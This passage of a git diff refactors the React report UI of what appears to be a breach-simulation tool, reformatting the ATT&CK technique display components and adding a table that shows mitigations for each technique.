Mandatory</span> + </Col> + </div>) }; render() { @@ -106,14 +110,14 @@ class MatrixComponent extends AuthComponent { return ( <div> {this.renderLegend()} - <div className={"attack-matrix"}> + <div className={'attack-matrix'}> <ReactTable columns={tableData['columns']} data={tableData['matrixTableData']} showPagination={false} - defaultPageSize={tableData['maxTechniques']} /> + defaultPageSize={tableData['maxTechniques']}/> </div> </div>); } } -export default MatrixComponent; +export default ConfigMatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 4d4f55dad..ebe12f25b 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -1,57 +1,69 @@ -import React from "react"; +import React from 'react'; -export function renderMachine(val){ - return ( - <span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span> - ) +export function renderMachine(val) { + return ( + <span>{val.ip_addr} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')}</span> + ) } /* Function takes data gathered from system info collector and creates a string representation of machine from that data. */ export function renderMachineFromSystemData(data) { - let machineStr = data['hostname'] + " ( "; - data['ips'].forEach(function(ipInfo){ - if(typeof ipInfo === "object"){ - machineStr += ipInfo['addr'] + ", "; - } else { - machineStr += ipInfo + ", "; - } - }); + let machineStr = ''; + if (typeof data['hostname'] !== 'undefined') { + machineStr = data['hostname'] + ' ( '; + } + data['ips'].forEach(function (ipInfo) { + if (typeof ipInfo === 'object') { + machineStr += ipInfo['addr'] + ', '; + } else { + machineStr += ipInfo + ', '; + } + }); + if (typeof data['hostname'] !== 'undefined') { + return machineStr.slice(0, -2) + ' )'; + } else { // Replaces " ," with " )" to finish a list of IP's - return machineStr.slice(0, -2) + " )" + return machineStr.slice(0, -2); + } } /* Formats telemetry data that contains _id.machine and _id.usage fields into columns for react table. */ export function getUsageColumns() { - return ([{ - columns: [ - {Header: 'Machine', - id: 'machine', - accessor: x => renderMachineFromSystemData(x.machine), - style: { 'whiteSpace': 'unset' }, - width: 300}, - {Header: 'Usage', - id: 'usage', - accessor: x => x.usage, - style: { 'whiteSpace': 'unset' }}] - }])} + return ([{ + columns: [ + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}, + width: 300 + }, + { + Header: 'Usage', + id: 'usage', + accessor: x => x.usage, + style: {'whiteSpace': 'unset'} + }] + }]) +} /* Renders table fields that contains 'used' boolean value and 'name' string value. 'Used' value determines if 'name' value will be shown. */ -export function renderUsageFields(usages){ - let output = []; - usages.forEach(function(usage){ - if(usage['used']){ - output.push(<div key={usage['name']}>{usage['name']}</div>) - } - }); - return (<div>{output}</div>); - } +export function renderUsageFields(usages) { + let output = []; + usages.forEach(function (usage) { + if (usage['used']) { + output.push(<div key={usage['name']}>{usage['name']}</div>) + } + }); + return (<div>{output}</div>); +} export const ScanStatus = { - UNSCANNED: 0, - SCANNED: 1, - USED: 2 + UNSCANNED: 0, + SCANNED: 1, + USED: 2 }; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/MitigationsComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/MitigationsComponent.js new file mode 100644 index 000000000..e026b3e7b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/MitigationsComponent.js @@ -0,0 +1,76 @@ +import React from 'react'; +import ReactTable from 'react-table'; +import marked from 'marked'; +import '../../../styles/report/AttackReport.scss'; + + +class MitigationsComponent extends React.Component { + + constructor(props) { + super(props); + if (typeof this.props.mitigations !== 'undefined' && this.props.mitigations.length > 0){ + this.state = {mitigations: this.props.mitigations}; + } else { + this.state = {mitigations: null} + } + } + + static createRows(descriptions, references) { + let rows = []; + for(let i = 0; i < descriptions.length; i++){ + rows[i] = {'description': descriptions[i], 'reference': references[i]}; + } + return rows; + } + + static parseDescription(description) { + const citationRegex = /\(Citation:.*\)/gi; + const emptyLineRegex = /^\s*[\r\n]/gm; + description = description.replace(citationRegex, ''); + description = description.replace(emptyLineRegex, ''); + description = marked(description); + return description; + } + + static getMitigations() { + return ([{ + Header: 'Mitigations', + style: {'text-align': 'left'}, + columns: [ + { id: 'name', + accessor: x => this.getMitigationName(x.name, x.url), + width: 200}, + { id: 'description', + accessor: x => (<div dangerouslySetInnerHTML={{__html: this.parseDescription(x.description)}} />), + style: {'whiteSpace': 'unset'}} + ] + }]) + } + + static getMitigationName(name, url) { + if(url){ + return (<a href={url} target={'_blank'}>{name}</a>) + } else { + return (<p>{name}</p>) + } + } + + + render() { + return ( + <div> + <br/> + {this.state.mitigations ? + <ReactTable + columns={MitigationsComponent.getMitigations()} + data={this.state.mitigations} + showPagination={false} + defaultPageSize={this.state.mitigations.length} + className={'attack-mitigation'} + /> : ''} + </div> + ); + } +} + +export default MitigationsComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index 24d742c14..f58f870c1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -1,8 +1,8 @@ import React from 'react'; -import '../../../styles/Collapse.scss' import '../../report-components/security/StolenPasswords' -import StolenPasswordsComponent from "../../report-components/security/StolenPasswords"; -import {ScanStatus} from "./Helpers" +import StolenPasswordsComponent from '../../report-components/security/StolenPasswords'; +import {ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1003 extends React.Component { @@ -17,8 +17,10 @@ class T1003 extends React.Component { <div>{this.props.data.message}</div> <br/> {this.props.data.status === ScanStatus.USED ? - <StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/> - : ""} + <StolenPasswordsComponent + data={this.props.data.stolen_creds}/> + : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js index 6d46c2285..bb9d8f8e2 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import {renderMachineFromSystemData, ScanStatus} from "./Helpers"; +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers'; +import MitigationsComponent from './MitigationsComponent'; class T1005 extends React.Component { @@ -11,12 +11,19 @@ class T1005 extends React.Component { static getDataColumns() { return ([{ - Header: "Sensitive data", + Header: 'Sensitive data', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }}, - {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, - ]}])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'} + }, + {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}}, + {Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -25,11 +32,12 @@ class T1005 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1005.getDataColumns()} - data={this.props.data.collected_data} - showPagination={false} - defaultPageSize={this.props.data.collected_data.length} - /> : ""} + columns={T1005.getDataColumns()} + data={this.props.data.collected_data} + showPagination={false} + defaultPageSize={this.props.data.collected_data.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js index 63e2bb4a5..6c96f6312 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1016 extends React.Component { @@ -12,12 +12,18 @@ class T1016 extends React.Component { static getNetworkInfoColumns() { return ([{ - Header: "Network configuration info gathered", + Header: 'Network configuration info gathered', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'} + }, + {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -26,11 +32,12 @@ class T1016 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1016.getNetworkInfoColumns()} - data={this.props.data.network_info} - showPagination={false} - defaultPageSize={this.props.data.network_info.length} - /> : ""} + columns={T1016.getNetworkInfoColumns()} + data={this.props.data.network_info} + showPagination={false} + defaultPageSize={this.props.data.network_info.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js index dcf7687db..36ce2c8ea 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1018 extends React.Component { @@ -10,9 +10,9 @@ class T1018 extends React.Component { super(props); } - static renderMachines(machines){ + static renderMachines(machines) { let output = []; - machines.forEach(function(machine){ + machines.forEach(function (machine) { output.push(renderMachine(machine)) }); return (<div>{output}</div>); @@ -21,12 +21,23 @@ class T1018 extends React.Component { static getScanInfoColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, - {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, - {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.monkey), + style: {'whiteSpace': 'unset'} + }, + {Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}}, + {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}}, + { + Header: 'Systems found', + id: 'systems', + accessor: x => T1018.renderMachines(x.machines), + style: {'whiteSpace': 'unset'} + } + ] + }]) + } render() { return ( @@ -35,11 +46,12 @@ class T1018 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1018.getScanInfoColumns()} - data={this.props.data.scan_info} - showPagination={false} - defaultPageSize={this.props.data.scan_info.length} - /> : ""} + columns={T1018.getScanInfoColumns()} + data={this.props.data.scan_info} + showPagination={false} + defaultPageSize={this.props.data.scan_info.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js index ce8688af1..a605bbc23 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1021 extends React.Component { @@ -13,16 +13,30 @@ class T1021 extends React.Component { static getServiceColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), - style: { 'whiteSpace': 'unset' }, width: 160}, - {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, - {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: {'whiteSpace': 'unset'}, width: 160 + }, + { + Header: 'Service', + id: 'service', + accessor: x => x.info.display_name, + style: {'whiteSpace': 'unset'}, + width: 100 + }, + { + Header: 'Valid account used', + id: 'credentials', + accessor: x => this.renderCreds(x.successful_creds), + style: {'whiteSpace': 'unset'} + } + ] + }]) + } static renderCreds(creds) { return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span> - }; + } render() { return ( @@ -35,7 +49,8 @@ class T1021 extends React.Component { data={this.props.data.services} showPagination={false} defaultPageSize={this.props.data.services.length} - /> : ""} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js index 7345ca497..94d917c6c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { getUsageColumns } from "./Helpers" +import ReactTable from 'react-table'; +import {getUsageColumns} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1035 extends React.Component { @@ -17,11 +17,12 @@ class T1035 extends React.Component { <br/> {this.props.data.services.length !== 0 ? <ReactTable - columns={getUsageColumns()} - data={this.props.data.services} - showPagination={false} - defaultPageSize={this.props.data.services.length} - /> : ""} + columns={getUsageColumns()} + data={this.props.data.services} + showPagination={false} + defaultPageSize={this.props.data.services.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js index 3d6b45d08..ec121e9b1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import {ScanStatus} from "./Helpers"; +import ReactTable from 'react-table'; +import {ScanStatus} from './Helpers'; +import MitigationsComponent from './MitigationsComponent'; class T1041 extends React.Component { @@ -11,11 +11,13 @@ class T1041 extends React.Component { static getC2Columns() { return ([{ - Header: "Data exfiltration channels", + Header: 'Data exfiltration channels', columns: [ - {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }}, - {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }} - ]}])}; + {Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}}, + {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -24,11 +26,12 @@ class T1041 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1041.getC2Columns()} - data={this.props.data.command_control_channel} - showPagination={false} - defaultPageSize={this.props.data.command_control_channel.length} - /> : ""} + columns={T1041.getC2Columns()} + data={this.props.data.command_control_channel} + showPagination={false} + defaultPageSize={this.props.data.command_control_channel.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 4651f5c41..eb5b77144 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1059 extends React.Component { @@ -14,11 +14,18 @@ class T1059 extends React.Component { return ([{ Header: 'Example commands used', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 }, - {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachine(x.data.machine), + style: {'whiteSpace': 'unset'}, + width: 160 + }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}}, + {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -27,11 +34,12 @@ class T1059 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1059.getCommandColumns()} - data={this.props.data.cmds} - showPagination={false} - defaultPageSize={this.props.data.cmds.length} - /> : ""} + columns={T1059.getCommandColumns()} + data={this.props.data.cmds} + showPagination={false} + defaultPageSize={this.props.data.cmds.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js index f57abd4b8..68b8af0f1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { getUsageColumns } from "./Helpers" +import ReactTable from 'react-table'; +import {getUsageColumns} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1064 extends React.Component { @@ -17,11 +17,12 @@ class T1064 extends React.Component { <br/> {this.props.data.scripts.length !== 0 ? <ReactTable - columns={getUsageColumns()} - data={this.props.data.scripts} - showPagination={false} - defaultPageSize={this.props.data.scripts.length} - /> : ""} + columns={getUsageColumns()} + data={this.props.data.scripts} + showPagination={false} + defaultPageSize={this.props.data.scripts.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js index 5d5a8df4c..abc2b99e4 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1065.js @@ -1,5 +1,5 @@ import React from 'react'; -import '../../../styles/Collapse.scss' +import MitigationsComponent from './MitigationsComponent'; class T1065 extends React.Component { @@ -8,6 +8,7 @@ class T1065 extends React.Component { return ( <div> <div>{this.props.data.message}</div> + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index 3cd12560b..330f7d129 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1075 extends React.Component { @@ -11,10 +11,10 @@ class T1075 extends React.Component { this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login)) } - setLoginHashType(login){ - if(login.attempts[0].ntlm_hash !== ""){ + setLoginHashType(login) { + if (login.attempts[0].ntlm_hash !== '') { login.attempts[0].hashType = 'NTLM'; - } else if(login.attempts[0].lm_hash !== ""){ + } else if (login.attempts[0].lm_hash !== '') { login.attempts[0].hashType = 'LM'; } } @@ -22,12 +22,13 @@ class T1075 extends React.Component { static getHashColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, - {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, - {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, - ] - }])}; + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}}, + {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}}, + {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -36,11 +37,12 @@ class T1075 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1075.getHashColumns()} - data={this.props.data.successful_logins} - showPagination={false} - defaultPageSize={this.props.data.successful_logins.length} - /> : ""} + columns={T1075.getHashColumns()} + data={this.props.data.successful_logins} + showPagination={false} + defaultPageSize={this.props.data.successful_logins.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js index 8570ab1b0..2e872ac99 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1082 extends React.Component { @@ -13,10 +13,21 @@ class T1082 extends React.Component { static getSystemInfoColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'} + }, + { + Header: 'Gathered info', + id: 'info', + accessor: x => renderUsageFields(x.collections), + style: {'whiteSpace': 'unset'} + } + ] + }]) + } render() { return ( @@ -25,11 +36,12 @@ class T1082 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1082.getSystemInfoColumns()} - data={this.props.data.system_info} - showPagination={false} - defaultPageSize={this.props.data.system_info.length} - /> : ""} + columns={T1082.getSystemInfoColumns()} + data={this.props.data.system_info} + showPagination={false} + defaultPageSize={this.props.data.system_info.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index db75d8dda..2978c9ba7 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1086 extends React.Component { @@ -14,11 +14,23 @@ class T1086 extends React.Component { return ([{ Header: 'Example Powershell commands used', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, - {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachine(x.data[0].machine), + style: {'whiteSpace': 'unset'}, + width: 160 + }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}}, + { + Header: 'Command', + id: 'command', + accessor: x => x.data[0].info.executed_cmds[0].cmd, + style: {'whiteSpace': 'unset'} + } + ] + }]) + } render() { return ( @@ -27,11 +39,12 @@ class T1086 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1086.getPowershellColumns()} - data={this.props.data.cmds} - showPagination={false} - defaultPageSize={this.props.data.cmds.length} - /> : ""} + columns={T1086.getPowershellColumns()} + data={this.props.data.cmds} + showPagination={false} + defaultPageSize={this.props.data.cmds.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js index 934e76694..69ccb4adc 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1090 extends React.Component { @@ -13,11 +13,14 @@ class T1090 extends React.Component { static getProxyColumns() { return ([{ columns: [ - {Header: 'Machines', + { + Header: 'Machines', id: 'machine', accessor: x => renderMachineFromSystemData(x), - style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}]) - }; + style: {'whiteSpace': 'unset', textAlign: 'center'} + }] + }]) + } render() { return ( @@ -26,11 +29,12 @@ class T1090 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1090.getProxyColumns()} - data={this.props.data.proxies} - showPagination={false} - defaultPageSize={this.props.data.proxies.length} - /> : ""} + columns={T1090.getProxyColumns()} + data={this.props.data.proxies} + showPagination={false} + defaultPageSize={this.props.data.proxies.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index 8acd48c4b..ab4b9481d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1105 extends React.Component { @@ -14,11 +14,12 @@ class T1105 extends React.Component { return ([{ Header: 'Files copied', columns: [ - {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, - {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, - {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}}, - ] - }])}; + {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170}, + {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170}, + {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -27,11 +28,12 @@ class T1105 extends React.Component { <br/> {this.props.data.status !== ScanStatus.UNSCANNED ? <ReactTable - columns={T1105.getFilesColumns()} - data={this.props.data.files} - showPagination={false} - defaultPageSize={this.props.data.files.length} - /> : ""} + columns={T1105.getFilesColumns()} + data={this.props.data.files} + showPagination={false} + defaultPageSize={this.props.data.files.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); 